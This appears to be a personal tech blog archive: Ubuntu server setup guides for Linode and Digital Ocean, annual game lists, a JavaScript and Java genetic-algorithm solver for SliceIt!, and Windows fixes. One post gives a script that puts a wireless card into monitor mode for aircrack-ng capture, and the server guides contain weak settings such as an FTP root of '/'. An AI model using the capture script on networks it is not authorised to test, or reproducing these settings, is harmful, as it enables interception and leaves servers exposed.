I realize this post didn’t really offer any information. I guess this was an exercise in keeping things the same while still putting in lots of work. Still, it was nice reading up about static blog engines, and I’m still pretty intrigued by these hip, new services (Blogger certainly feels like the old guy in the block). In addition, the refresh of the Blogger theme has been inspiring in trying to conjure up some new content, so the remainder of the year will see the arrival of some other posts as well — so long as this experiment goes right, this is a first test post after all. I should still go through the older posts to clean them up, but we’ll see what we can manage.

Raring / Digital Ocean Server Setup

2013-06-20T00:00:00+02:00

Two years after having moved to Linode, coming from Slicehost, it seems that a new competitor is once again at the horizon, namely Digital Ocean.

I’d heard good things about them already, especially on Hacker News, praising their competitive pricing and clean dashboard. However, being newcomers to the field, I didn’t want to jump ship too abruptly, as I was still a happy Linode customer.

But, in April, Linode got hacked. Password hashes, source code fragments and even credit card statements were all rumored to be extracted. So okay, things like this happen, but the way how Linode dealt with the whole situation was less than optimal: first, they tried to ignore the problem; then, this was followed by a statement afterwards advising people to reset their password due to “security precautions”. This is turn was followed by an update which was a bit more transparent, but still somewhat surprising.

One of the staff mentions the following in the comments of the update post:

@Eivind. our private key is stored only in encrypted format. The passphrase is not guessable, sufficiently long and complex, not based on dictionary words, and not stored anywhere but in our heads.

The hackers, on the other hand, came out with a different statement altogether:

06:00 \<AlexC_> ryann: So, are you saying CC details have also been compromised? 06:00 \<ryann> Yep 06:00 \<AlexC_> ryann: And you plan on releasing these? 06:00 \<ryann> They did try to encrypt them, but using public key encryption doesn’t work if you have the public and private key in the same directory

Of course, statements such as these should be taken with a grain of salt, as it could easily be hyperbolic bragging. Still, the whole ordeal left many Linode users with a bitter aftertaste.

So recently, I had a look at Digital Ocean to see if they’re worth their salt. First difference is in pricing, and it’s a pretty big one:

DigitalOcean: $10 / mo. for 1GB, 1 Core, 30GB space, 2TB transfer
Linode: $20 / mo. for 1GB, 8 Cores, 24GB space, 2TB transfer

Linode has DigitalOcean beat on CPU power, but DigitalOcean has the SSD advantage. Jason Ormand has performed a benchmark and goes more into the technical details.

So with a new host comes a new opportunity to execute a clean Ubuntu install. In the same vein as the previous post, let’s get right to it…

1. Install Ubuntu

This is a single-click process with DigitalOcean. I’m using Ubuntu Server 13.04 x64. You will get a root account with password.

2. Always be updating and upgrading

apt-get update
apt-get upgrade

3. Synchronize the system clock

Synchronize the system clock with an NTP server over the Internet.

apt-get install ntp ntpdate

SSH is installed already, so we skip this. We also don’t have to configure our network, but you can check the hostname with:

hostname

4. Add users

Add some users. Adding a webmaster is recommended:

useradd -d /home/webmaster -m webmaster
passwd webmaster
adduser webmaster sudo

5. Secure SSH

Edit /etc/ssh/sshd_config:

# Always a good idea to not listen at the default port
Port    44422

# Prohibit root logins
PermitRootLogin no

Then restart SSH and login again with a normal user:

service ssh restart

Using sudo su should allow you to continue as root.

6. MySQL

Install MySQL. You will be asked for a root password.

apt-get install mysql-server mysql-client

We keep bind-address = 127.0.0.1 in /etc/mysql/my.cnf.

If you wish, you can also opt to use MariaDB instead.

7. Postfix for SMTP support

apt-get install postfix procmail

Make sure to pick the following:

General type of configuration?
 --> Internet Site

Run:

dpkg-reconfigure postfix

And would through the questions. Defaults are fine, but you can disable IPv6 if you want to.

Next, we make sure to listen to local interface only:

postconf -e 'inet_interfaces = loopback-only'

Restart Postfix:

service postfix restart

8. Apache/PHP5

Install:

apt-get install apache2 apache2-mpm-prefork apache2-utils ssl-cert

apt-get install libapache2-mod-php5 php5 php5-common php5-curl php5-dev php5-gd php5-idn php-pear php5-imagick php5-imap php5-json php5-mcrypt php5-memcache php5-mhash php5-ming php5-mysql php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl

Enable some modules:

a2enmod ssl
a2enmod rewrite
a2enmod suexec
a2enmod status
a2enmod include

/etc/init.d/apache2 force-reload

Adding subdomains is done with vhosts in /etc/apache2/sites-enabled:

<VirtualHost *>
  ServerAdmin info@sitename.com
  ServerName sitename.com
  ServerAlias *.sitename.com
  DocumentRoot /var/www/sitename.com/

  <Directory />
    Options FollowSymLinks
    AllowOverride All
  </Directory>

  <Directory /var/www/sitename.com/>
    Options Indexes FollowSymLinks MultiViews
    DirectoryIndex index.html index.htm index.php
    AllowOverride All
    Order allow,deny
    allow from all
  </Directory>

  ErrorLog /var/log/apache2/error.log
  LogLevel warn

  CustomLog /var/log/apache2/access.log combined
  ServerSignature On
</VirtualHost>

Don’t forget to edit the default virtualhost with a NameVirtualHost * and AllowOverride All.

Also, edit php.ini if needed.

9. Proftpd

Install Proftpd:

apt-get install proftpd ucf

Make sure to pick standalone.

Edit /etc/proftpd/proftpd.conf:

DefaultRoot /
UseIPv6 off

And:

service proftpd restart

We don’t install phpMyAdmin anymore. apt-get install phpmyadmin if you want to.

10. Set `/var/www` permissions

Making it easy for our “webmaster”:

chown -R webmaster:www-data /var/www
chmod 775 -R /var/www

11. Install fail2ban

apt-get install fail2ban

Don’t forget to configure a jail.local and add custom filters if needed.

We do not install Slowloris protection any more. Attacks using this method seem to have stopped/weakened.

12. Final migration

Move user files
Configure all virtualhosts
Move /var/www
Move data bases
Keep a copy of /etc around
Move SSL keys

Backup script:

tar cvpzf backup.tgz --exclude=/proc --exclude=/lost+found --exclude=/mnt --exclude=/sys --exclude=/dev --exclude=/usr --exclude=/bin --exclude=/sbin --exclude=/backup.tgz /

It’s a pity this last step can’t be automated. I guess it would be possible to create an image and move it over the another VPS, but this will bring along all the extra filler you maybe don’t want anymore.

My experience with DigitalOcean was pleasant so far. The SSD drives make installing apt packages a real breeze. I’m not migrating completely from Linode yet (hosting too many sites at the moment with them), but I’ll definitely launch new projects over there.

Games I’ll Keep An Eye On In 2013

2013-01-01T00:00:00+01:00

In the same spirit as last year, this is a (preliminary) list of game I’m interested in, releasing in 2013.

First of all, let’s revisit 2012… Here are the games I was interested in last year, together with the outcome — at least according to me:

Star Wars: The Old Republic: skipped it
Kingdoms of Amalur: Reckoning: it was okay, but nothing special
Binary Domain: let-down
SSX: okay, not great
Syndicate: let-down
Jak and Daxter Collection: great nostalgia trip
The Darkness 2: actually quite an awesome game
I am Alive: didn’t buy it
Mass Effect 3: the one which disconnected me from the series (and I was a huge fan). I’ve heard there’s some great DLC, but I’ve yet to play it
Diablo III: okay, but not as I expected
Devil May Cry HD Collection: have yet to buy it
Silent Hill HD Collection: have yet to buy it
Prey 2: didn’t release
Starhawk: meh
Far Cry 3: awesome! In my 2012 top five list
Max Payne 3: a great game, but alas missed by many top 2012 lists
Darksiders II: greatly enjoyed it
Prototype 2: okay, but quickly forgotten compared to the other open-world games of 2012
Tomb Raider: didn’t release
Guild Wars 2: best MMORPG of the moment
Borderlands 2: not bad, but got a bit of a “more of the same”-feeling here
The Last Guardian: didn’t release
Lollipop Chainsaw: fun, but not spectacular
Grand Theft Auto V: didn’t release
BioShock Infinite: didn’t release
Doom 4: didn’t release
Journey: again an awesome game, top listed
XCOM: Enemy Unknown: another great title and a must-play
Monaco: fun indie game
The Witness: did this release?
Firefall: still waiting
Cube World: didn’t release
Overgrowth: did this release?
Path of Exile: couldn’t hype me
Grim Dawn: didn’t release
Starfarer: did this release?
Legend of Grimrock: a great indie title but alas flew a bit under the radar
Torchlight II: gave me more hours of fun than Diablo III did
Survivors of Ragnarok: did this release?
Project Zomboid: did this release? I should check up on this one
Masters of the Broken World: did this release?
Warlock: Master of the Arcane: did this release?
A Game of Dwarves: let-down
Jagged Alliance: let-down
Castle Story: didn’t release
Retro City Rampage: actually pretty fun

There where also some surprises which I didn’t list last year, most notably: Dishonored, Faster Than Light, Fez, Spelunky, Sleeping Dogs, The Walking Dead, Hitman: Absolution and Hotline Miami.

And thus, my top 10 of 2012:

Far Cry 3
Hotline Miami
Dishonored
XCOM: Enemy Unknown
Faster Than Light
Journey
The Walking Dead
Sleeping Dogs
Darksiders II
Torchlight II

And now, these are the games I’ll be watching in 2013 (note the rising number of “kickstarted” entries):

Bayonetta 2
Bioshock Infinite
Castle Story
Castlevania 2: Lords of Shadow
Castlevania: Lords of Shadow: Mirror of Fate
Command & Conquer Generals 2
Company of Heroes 2
Crysis 3
Cube World
Dead Space 3
Doom 4
Double Fine Adventure Game
Elite: Dangerous
FireFall
God of War Ascension
Grand Theft Auto 5
Grim Dawn
Legend of Dungeon
Limit Theory
Metro: Last Light
Miami Hotline 2
Planetary Annihilation
Prey 2
Project Godus
Routine
Saints Row 4
Shadowgate
Shadowrun Returns
Sim City
Star Wars 1313
Sui Generis
The Last of Us
Tomb Raider
Wasteland 2
Wasteland 2
Watch Dogs
World of Darkness

Ubuntu 12.04: “fixed channel mon0: -1”

2012-05-22T00:00:00+02:00

Still having problems in Ubuntu with the fixed channel being -1 when using aircrack and friends? Luckily, the solution does not require patching this time (as it used to), as the following solution (obtained from this forum post) now works for me. The problem is basically that the channel can not be changed while the card is in monitor mode.

Just create a bash script as such:

#!/bin/bash
# Change this to the interface you wish to change:
IFACE="wlan0"

ifconfig $IFACE down
iwconfig $IFACE mode managed
ifconfig $IFACE up
iwconfig $IFACE channel $@
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up
iwconfig $IFACE

And everything should work just fine. Just continue to use $IFACE (e.g. wlan0) in all subsequent commands (airodump,…) you use. Naturally, you do not need to use airmon-ng anymore to put the network card in monitor mode (as $IFACE now already is in monitor mode).

An Attempt At Making A Javascript/HTML5 SliceIt! Clone, And A (Failed) Attempt At A Genetic Algorithm Based Solver

2012-05-13T00:00:00+02:00

One of the niceties of owning a smartphone is the huge amount of apps available for download, many of which games.

Some time ago, one of these games which was keeping me occupied was SliceIt! from Com2uS. Don’t worry if you don’t know the game or haven’t played it, I’ll quickly explain it below.

The Game

SliceIt! is presented in a cute crayon-looking style:

A typical SliceIt! level. Players draw lines (as shown here) to split a given shape into equally sized areas.

The goal of the game is to draw a number of lines to divide (“slice”) the given area into a number of pieces. Both the number of lines and required pieces are fixed and given beforehand. You have to use all the strokes given, and have to match exactly the number of needed pieces. No more, no less. The final requirement of the game is that the resulting pieces need to have about the same area. While their form may differ, their area (size) has to match. This means for example that if the goal is to get four pieces, all these four pieces need to have a size around 25% (100%/4) of the original area. Pieces don’t have to be of exactly the same size. If their areas differ slightly, the level is still won. This allows for levels which have straightforward but not-quite-perfect solutions and perfect but hard-to-find solutions as well.

The Idea

So far, so good. After playing the game for a while, I encountered the following level:

Another SliceIt level (goal: 5 strokes, 10 areas),

This level introduces another gameplay concept: blocked areas. Drawing lines which crosses these areas is forbidden, so this solution won’t work:

This solution would use 5 lines to form 10 equal areas, but the red areas forbids the player to draw the final line.

After fiddling for a bit, we find the following acceptable solution:

While messing around with this, a thought popped into my head: could a genetic algorithm be used to solve a SliceIt! puzzle? At first sight, this seems like a good idea. The game itself is pretty easy. A chromosome representation can easily be established (since we know the list of strokes beforehand, so a population member can be represented simply as an array of coordinate-pairs:

[
   ((l1x1,l1y1), (l1x2,l1y2)),
   ((l2x1,l2y1), (l2x2,l2y2)),
   ((l3x1,l3y1), (l3x2,l3y2)),
   ((l4x1,l4y1), (l4x2,l4y2)),
   ((l5x1,l5y1), (l5x2,l5y2))
]

And finally, the solutions can be easily checked (just compare areas with a known goal).

And so I set out to test this theory as a weekend project.

While lines, areas, points and polygons can all be expressed and compared mathematically, I wanted to create a graphical representation of the game as well. Moreover, I wanted to build a playable version, before implementing a genetic algorithm. Finally, I wanted to do this with HTML5 (canvas) and Javascript, as I’ve been pretty jealous of all these other cool genetic algorithm implementations available on the web:

Shortest path: http://tomokas.com/apps/pathfinding-using-a-genetic-algorithm-html5-canvas-javascript
Eater’s world: http://math.hws.edu/eck/jsdemo/ga-info.html, demo at http://math.hws.edu/eck/jsdemo/jsGeneticAlgorithm.html
Genetic hello world: http://www.puremango.co.uk/2010/12/genetic-algorithm-for-hello-world/
Function optimization: http://icefox.github.com/javascript_genetic_algorithm/
Javascript Mona Lisa: http://blog.nihilogic.dk/2009/01/genetic-mona-lisa.html

I didn’t want go completely overboard, though. I only wanted to implement to most basic puzzles found in the game, as described above. Later levels add all sorts of crazy stuff (like bouncy edges and so on). Still, the game allows for some constructs which are pretty challenging:

Levels are created by defining a number of polygons. A level can be build out of multiple shapes.
These polygons can both be convex and concave.
The polygons can contain holes as well (not sure if there are levels like this in the game).
Polygons can be added to a level which denote “forbidden areas”, though which no lines may be drawn.

Feature number three is the most challenging one. To solve this, you have to first create a polygon defining the outermost shape, and then additional polygons to define the holes. The area of the obtained shape is then calculated by subtracting the areas of all holes from the areas of all the outer shapes. While I was planning to implement this add first, I dropped it, mainly out of laziness, and because much of the logic in the game would’ve become quite harder when this aspect would be included.

The Implementation

The code turned out the be pretty complex. I created multiple Javascript object types, either handling game logic, or representing geometrical concepts. This means that types were made for:

A point: constructed out of two numbers (x and y coordinates).
A line: constructed out of two points (point one and two).
A polygon: constructed out of an array of lines (the edges).
A rectangle: constructed out of two points (upper left and lower right corner).

The rectangle type should actually have been based upon the polygon type (a rectangle is just a special type of polygon). Similarly, in hindsight, the polygon object should have been defined as an array of points, instead of lines. For lines, methods to get the length and intersects with other lines were added. For polygons and rectangles, methods to get the area of the shape were added as well. I had to refresh my memory on geometry a bit:

For intersects: http://local.wasp.uwa.edu.au/~pbourke/geometry/lineline2d/.
For area (and centroid): http://en.wikipedia.org/wiki/Polygon#Area_and_centroid, I used the shoelace/surveyor method (http://en.wikipedia.org/wiki/Shoelace_formula).

For the game logic, I created the following types:

The surface: attached to a canvas element. Handles Javascript events (mouseup, mousemove…).
The drawer: contains methods to draw various things using a surface. These contain methods for drawing the level, the forbidden rectangles, and a cutting line when a player drags the mouse.
The level: contains level data, such as the number of allowed strokes and required pieces. The definition of the polygons making up the level, and the list of rectangles defining the forbidden areas.

The level object type also contains some methods for handling the harder game logic. E.g., methods which take a line, and figure out how the current list of level polygons should be cut.

The way levels are cut after drawing a line works like this. First, compare the drawn line with all the edges defined by all the polygons to get a list of intersects. Then, some basic checking is performed to figure out if the line is valid. Finally, if the line is valid, polygons are split up, and a list of new polygons is created.

An example can help here. The following figure shows how a line “splits” a single convex polygon:

When a new line is drawn, the procedure is repeated for each polygon “crossed”:

The basic check mentioned above to see if a line is valid is thus implemented in a very simple manner: check if the number of intersect points is even. For convex polygons, this is all we have to do, since each line drawn through a convex polygon will always create two other convex polygons. When dealing with concave polygons, things can get a bit harder:

To solve this problem, we should either adapt our method in order to “clip” the drawn line with the given polygon. Instead of doing so, I opted to work with convex levels only.

As a side note, you might be tempted to think that the following adaptation of the “line validity” check could work as well, i.e.: find the intersect points, and check if — for each polygon p containing an intersect point — that p has two intersect points (one entry and one exit). This prevents the line in the example above from being drawn (there are four intersects for the single given polygon). This also restricts the number of possibilities to splice a polygon with a given stroke (which might be the desired behavior). Still, it should be noted that this doesn’t work either, since it can’t be guaranteed that the two intersect indeed “enter” and “exit” the polygon in the right order:

So convex-only levels for now. If someone wants to hack in support for complex polygons (concave and/or holes): links to the code will be posted at the end.

The last thing which was added were methods to check if a level is solved correctly.To avoid that the player has to have ultra-precise eye-hand coordination, very small polygons (e.g. less than one percent of the original area of the level) created by drawn lines are disregarded when checking the areas and number of goal areas. Now that the game was playable, I converted the level which was giving me difficulties to coordinates, and started working on the genetic algorithm.

The Genetic Algorithm

To implement the genetic algorithm, I used the “Mona Lisa”-painting genetic algorithm by Nihilogic as a starting point. This algorithm implements a simple tournament-based genetic algorithm. As said earlier, each population member can be represented as a fixed size array of points denoting the position of the lines.

Crossover is easy as well, as we can just take one half of the array defined by parent number one, and combine it with the second half of the array defined by parent number two. I say “half”, but it’s not necessary to split the two arrays neatly in half; the crossover point can be randomly chosen.

Mutation works similarly. When the decision is made to mutate a member of the population, each point is randomly moved to a new position.

The Result

The algorithm and Canvas/JS implementation of SliceIt! can be tested here. If you run the genetic algorithm (click “Evolve”), you’ll notice that, although sometimes a valid solution is found, the algorithm has a tendency to get stuck in a local optimum (e.g. where only four of the required five lines are drawn). The reason for this is something we haven’t yet talked about: the fitness function.

As with many applications of evolutionary computing, the definition of fitness function is certainly a hard task in this case. The main issue is that three variables have to be incorporated when evaluating a solution:

The sizes of the areas created.
The number of areas created.
The number of valid lines drawn.

The first point is quite simple, just compute sum of the the (squared) differences between each area and the optimal target area. For example, if a level has an area size of 1000, and 10 areas have to be created, then we compute the fitness as:

Using this function alone, however, often leads to the algorithm getting stuck in local optima. Therefore, we need to punish for missing lines/areas as well. The problem is finding a function which drives the algorithm towards adding/moving a line when it is invalid, while still remaining able to “escape” local optima by making a line or the number of areas temporarily invalid.

I’ve tried different fitness functions, but none of them seem to be particularly efficient (feel free to modify the code in “Candidate.prototype.calcFitness”, I’ve left the code uncompressed).

The Retry (Using the Watchmaker library)

As an extra exercise, I rewrote a very basic version of the algorithm using Java. To implement the genetic algorithm, I opted to give the excellent, thorough Watchmaker library a go.

Just for fun, I recorded a timelapse of some of my coding:

This version works a bit better, mainly since there are no “forbidden areas” and the mutation operators are a bit more fine-tuned. See the suggestions below for more ideas if you want to try this experiment yourself.

Conclusions and Suggestions

Despite fact that the result works less perfect than expected, this still was a fun weekend-project. This project was a good exercise emphasizing the importance of a good fitness function when dealing with genetic algorithms.

Working with Javascript and Canvas in this manner was also quite new for me. While I’ve had plenty of experience applying Javascript in a normal web/DOM context, dealing with geometry is something else entirely. Writing object oriented code in Javascript as done here was also something which required some getting used to. In hindsight, the code could have been made a lot cleaner.

Programming a project like this one is somewhat easier in Java. The Watchmaker library especially seems like an amazingly engineered piece of software; I’ll certainly revisit it later.

People who want to try this project for themselves or who want to extend my code are certainly free to do so. (The Javascript version can be found here — just view the source of the web page. The Java version is on github.) Some suggestions:

Try implementing complex polygons (i.e. concave polygons or polygons with holes in a robust manner). This is something I’d like to come back to later, as the current implementation bugs me.
For the initial construction of the population in the genetic algorithm, several techniques can be used. The one I use here just randomly draws lines, with no regard if they’re valid of not. An alternative technique could opt to only start from valid lines (by requiring that lines stay outside the given starting shapes, for example).
For the mutation operators, I just move the points of lines to new random locations. The Java version is a bit smarter and moves points slightly to a neighboring position. Additionally, another “mutator” (with a lower mutation chance) is added which completely creates a new solution. Try making the algorithm “smarter” in this manner.
The current version has no regard for symmetry, while human players will often prefer symmetric solutions. Try to find a way to determine and score this aspect.
Finally, try coming up with better-performing fitness functions. Just using the squared sum of differences might work, provided you leave enough freedom to search for non-local solutions (e.g. high population size, enough chance for mutations). The way crossover (offspring generation) is performed doesn’t seem to matter much, given the simple solution structure.
Changing the population members’ format could work as well, e.g. allow members to contain more lines than the goal number (n) given, but only evaluate the first valid n lines. This allows members to “carry” with them some genetic variety for more generations.

The links, once more:

Javascript version: http://static.macuyiko.com/files/sliceit/
Java source: https://github.com/Macuyiko/sliceit-genetic-java
Java binary (jar): https://github.com/Macuyiko/sliceit-genetic-java/blob/master/deploy/rungeneticsliceit.jar?raw=true

Gibbed’s Mass Effect 3 Audio Extractor: “IO.Path.Combine path1 cannot be null”

2012-03-24T00:00:00+01:00

I was trying to use Gibbed’s Mass Effect 3 Audio Extractor recently, but it failed with:

IO.Path.Combine path1 cannot be null

To fix this, use regedit to go to

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\BioWare\Mass Effect 3 (on 64 bit machines)
HKEY_LOCAL_MACHINE\SOFTWARE\BioWare\Mass Effect 3 (on 32 bit machines)

Add a new registry entry (right click -> “New” -> “String Value”). Name it Install Dir. Set the value to your installation directory (the same value as the Path registry entry). Close regedit. Re-open Gibbed’s Mass Effect 3 Audio Extractor.

The nvmcp64.sys Blue Screen

2012-02-28T00:00:00+01:00

This issue has been plaguing my Windows 7 installation since the beginning of time, or, well — the beginning of this particular Windows 7 installation…

Every once in a while, my computer would blue screen displaying a DRIVER_IRQL_NOT_LESS_OR_EQUAL error due to a certain nvmcp64.sys, often with any playing audio looping the same fragment over and over again until I would grudgingly press the reset button.

DRIVER_IRQL_NOT_LESS_OR_EQUAL is one of those typical cryptic “STOP errors” that actually tell you almost nothing. The only reasonable thing to deduce is that it’s probably a driver acting up, or some hardware gone bad. Searching around on forums quickly leads one to downloading Memtest86 to check if your RAM has gone bad, or to advice telling you that you should try removing your graphics card/audio card/memory/hard drives/and every other peripheral imaginable one by one, trying every possible combination of hardware until your computer boots up again or you die from boredom — whichever comes first. Meh. Checking your memory is a good idea once in a while, but once your memory has been working for a year, chances are it will remain working perfectly until you build or buy your next machine.

Another thing you could do (especially if you’ve seen your fair share of blue screens) is to take a look at the dump files Windows creates when it crashes (look in C:\Windows\Minidump\). Since we won’t do that here, I won’t go over the details on how to analyse these dumps. The reason why we won’t explore the dump is because we already have a clear idea about which process, library, or - in this case - driver is causing the problem: nvmcp64.sys. So what is nvmcp64.sys exactly?

The prefix “nv” leads us to a plausible candidate: Nvidia! You might think that updating your graphics drivers are in order (another advice so commonly encountered), but you would be wrong, since the driver in this case is related to the nForce (Nvidia’s bus architecture to handle IDE, RAID, networking and audio) chipset found on the motherboard. While searching around, some sites will advice you to disable your RAID controller or some such, which would again be incorrect, since nvmcp64.sys‘ job is also… to handle audio.

The solution is in fact pretty simple. Uninstall the Nvidia audio driver and go to Realtek’s website to download a general AC‘97 audio driver (an audio standard used by virtually any motherboard manufacturer, now replaced by Realtek’s High Definition Audio standard). Realtek warns you that their general purpose drivers “may not offer the customizations made by your system/motherboard manufacturer”, which is acceptable.

After doing this, audio now works fine, and the blue screens are completely gone. I’ve indeed lost some customizations/features offered by Nvidia (such as the record what you hear functionality), but these can be replaced by other software tools and were not really used that much by me anyway. Audio itself plays fine, without causing blue screens any longer.

Games I’ll Keep An Eye On In 2012

2012-02-12T00:00:00+01:00

Big-budget releases

In order of release date. Some release dates are an estimate. Unannounced games are not listed here.

January

- Star Wars: The Old Republic

February

Kingdoms of Amalur: Reckoning
Binary Domain
SSX
Syndicate
Jak and Daxter Collection
The Darkness 2

March

I am Alive
Mass Effect 3
Diablo III

April

Devil May Cry HD Collection
Silent Hill HD Collection

May

Prey 2
Starhawk
Far Cry 3

June

Max Payne 3
Darksiders II

July

Prototype 2

August

Tomb Raider
Guild Wars 2

September

Borderlands 2

October

The Last Guardian

November

Lollipop Chainsaw

December

Grand Theft Auto V
BioShock Infinite
Doom 4

Indie games, small titles

Journey
XCOM: Enemy Unknown
Monaco
The Witness
Firefall
Cube World
Overgrowth
Path of Exile
Grim Dawn
Starfarer
Legend of Grimrock
Torchlight II
Survivors of Ragnarok
Project Zomboid
Masters of the Broken World
Warlock: Master of the Arcane
A Game of Dwarves
Jagged Alliance
Castle Story
Retro City Rampage

2013…

The Last of Us
XCOM
StarCraft II: Heart of the Swarm
Metro: Last Light

Oneiric / Linode Server Migration

2011-12-18T00:00:00+01:00

Sigh… I’m sorry, Slicehost, but I’m leaving you. I’ve been a long (and very happy) Slicehost customer for the past few years. The service offered was perfect for anyone knowing their way around SSH, Linux administration and setting up a server — and all that for just 30 bucks a month. Nothing bad can be said about the Slicehost developers either: their support has been excellent, the uptime of their servers near-perfect, and their tutorials and guides well-written. I’ve ran MySQL and web servers, wiki’s, proxy’s, game hosts and much more on my little slice. I even used it as a honeypot.

But then, a sudden announcement changed everything. In 2008 (such a long time, already!) Slicehost told the world that they had been acquired by Rackspace. Since then, I’ve become more and more frustrated with Rackspace’s need to shove buzzwords, confusing plans and general overdone “enterprisiness” up my throat. Try to find out how much a new slice will cost you… exactly. Compare this new look with the old Slicehost landing page. The old page was simple, easy, beautiful. The new pricing gives the impression that you’re bringing 20 consultants on board.

I don’t have anything against acquisitions in general, but the Rackspace takeover has been particularly confusing for end-users, with DNS service moving to Rackspace (free?), lower bandwidth allowances (huh?), servers moving data centers (why?), changes in Slice sizes, and a requirement to migrate to Rackspace in 2012 (what does this mean? Just leave me be!)

Since I’m not charmed by Rackspace’s way of handling things (I’m sure they’re nice people though), I’m moving to Linode. With easy to understand pricing, a clean dashboard (with all the same features as Slicehost) and not too much fluff to get in your way, it’s a perfect solution for the hobbyist hacker. Even better: Linode also outperforms the competition performance-wise, although the linked benchmark is a bit old, and I’ve never had complaints with Slicehost in this regard.

The reason why I’ve been putting off the move is because it involves setting up a new server (easy), configuring it exactly as you want (difficult), and making sure everything is migrated correctly (ugh). There’s always one little configuration directive, file, or database table which is forgotten during the process.

The steps below serve as a reminder, mainly aimed at my (future) self, for setting up an Ubuntu (Oneiric) server. I’m looking forward to seeing how Linode performs…

1. Install Ubuntu

2. Edit /etc/apt/sources.list and update

apt-get update
apt-get upgrade`

3. Enable the root account

sudo passwd root

And give root a password. Afterwards we become root by running: su

4. Synchronize the system clock

Synchronize the system clock with an NTP server over the internet. (You can also install this via the Time and Date Preferences GUI.

apt-get install ntp ntpdate

5. Install the SSH server

Install OpenSSH by default.

apt-get install ssh openssh-server

6. Configure the network

A server should have a static IP address; edit /etc/network/interfaces:

#This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.0.100
netmask 255.255.255.0
network 192.168.0.0
broadcast 192.168.0.255
gateway 192.168.0.1`

Then restart your network:

/etc/init.d/networking restart

Then edit /etc/hosts:

127.0.0.1 localhost.localdomain localhost
192.168.0.100 server1.example.com server1

# The following lines are desirable for IPv6 capable hosts

::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts`

Now run:

echo server1.example.com > /etc/hostname

Reboot the system:

reboot

Afterwards, run:

hostname
hostname -f

Both should show your chosen hostname.

7. Add users

Add some users. Adding a “webmaster” is recommended:

sudo useradd -d /home/webmaster -m webmaster
sudo passwd webmaster

# Set /bin/bash as shell

# Edit /etc/sudoers

8. MySQL

Install MySQL. You will be asked for a root password.

apt-get install mysql-server mysql-client

We keep bind-address = 127.0.0.1 in /etc/mysql/my.cnf.

9. Postfix for SMTP support

apt-get install postfix procmail

You will be asked two questions. Answer as follows:

General type of configuration?
  Internet Site

Mail name?
  server1.example.com

Run:

dpkg-reconfigure postfix

Again, you’ll be asked some questions:

General type of configuration? <-- Internet Site
Where should mail for root go <-- [blank]
Mail name? <-- server1.example.com
Other destinations to accept mail for? (blank for none) <-- server1.example.com, localhost.example.com, localhost.localdomain, localhost
Force synchronous updates on mail queue? <-- No
Local networks? <-- 127.0.0.0/8
Use procmail for local delivery? <-- Yes
Mailbox size limit <-- 0
Local address extension character? <-- +
Internet protocols to use? <-- ipv4

postconf -e 'inet_interfaces = loopback-only'

We do not create certificates any more. Only using postfix as a local-only SMTP handler. IMAP and others not handled with Google Apps.

Restart Postfix:

/etc/init.d/postfix restart

10. Apache/PHP5

10.1. Installation

apt-get install apache2 apache2-mpm-prefork apache2-utils ssl-cert

Install PHP5:

apt-get install libapache2-mod-php5 php5 php5-common php5-curl php5-dev php5-gd php5-idn php-pear php5-imagick php5-imap php5-json php5-mcrypt php5-memcache php5-mhash php5-ming php5-mysql php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl

Edit /etc/apache2/mods-available/dir.conf:

<IfModule mod_dir.c>
  #DirectoryIndex index.html index.cgi index.pl index.php index.xhtml
  DirectoryIndex index.html index.htm index.shtml index.cgi index.php index.xhtml
</IfModule>`

Now we have to enable some Apache modules:

a2enmod ssl
a2enmod rewrite
a2enmod suexec
a2enmod status
a2enmod include

Reload the Apache configuration:

/etc/init.d/apache2 force-reload

Don’t forget to edit php.ini.

10.2. Adding subdomains

You can add sites to /etc/apache2/sites-enabled, use the following example configuration file:

<VirtualHost *>
  ServerAdmin info@sitename.com
  ServerName sitename.com
  ServerAlias *.sitename.com
  DocumentRoot /var/www/sitename.com/

  <Directory />
    Options FollowSymLinks
    AllowOverride All
  </Directory>

  <Directory /var/www/sitename.com/>
    Options Indexes FollowSymLinks MultiViews
    DirectoryIndex index.html index.htm index.php index.php3
    AllowOverride All
    Order allow,deny
    allow from all
  </Directory>

  ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/

  <Directory "/usr/lib/cgi-bin">
    AllowOverride None
    Options ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Order allow,deny
    Allow from all
  </Directory>

  ErrorLog /var/log/apache2/error.log

  # Possible values include: debug, info, notice, warn, error, crit,
  # alert, emerg.
  LogLevel warn

  CustomLog /var/log/apache2/access.log combined
  ServerSignature On

  #Alias /doc/ "/usr/share/doc/"
</VirtualHost>`

Don’t forget to edit the default virtualhost with a NameVirtualHost * and AllowOverride All.

11. Proftpd

Install Proftpd:

apt-get install proftpd ucf

You will be asked a question:

Run proftpd from inetd or standalone? <-- standalone`

Now edit /etc/proftpd/proftpd.conf:

DefaultRoot /
UseIPv6 off

Then restart Proftpd:

/etc/init.d/proftpd restart

12. PHPMyAdmin

Install PHPMyAdmin:

apt-get install phpmyadmin

Pick apache2 to configure.

13. Secure SSH a bit

Edit /etc/ssh/sshd_config:

Port 4444 #Other than 22
PermitRootLogin no #Make sure other user can login/sudo`

14. Set /var/www permissions

chown -R webmaster:www-data /var/www
chmod 775 -R /var/www

15. Install slowloris protection

apt-get install gcc apache2-threaded-dev
wget https://gist.github.com/raw/773464/4e7250692c34f55725384525b513e71be7541f5a/mod_muantiloris.c
apxs2 -a -i -c mod_muantiloris.c
/etc/init.d/apache2 restart

Edit /etc/apache2/httpd.conf:

ExtendedStatus On
IPReadLimit 5
IPPostLimit 10

16. Install fail2ban

apt-get install fail2ban

Don’t forget to configure a jail.local and add custom filters if needed.

17. Final migration

Move user files, virtualhost configurations, /var/www. Backup mysql data bases.

Install openjdk-6-jre, davmail if needed.

Backup script:

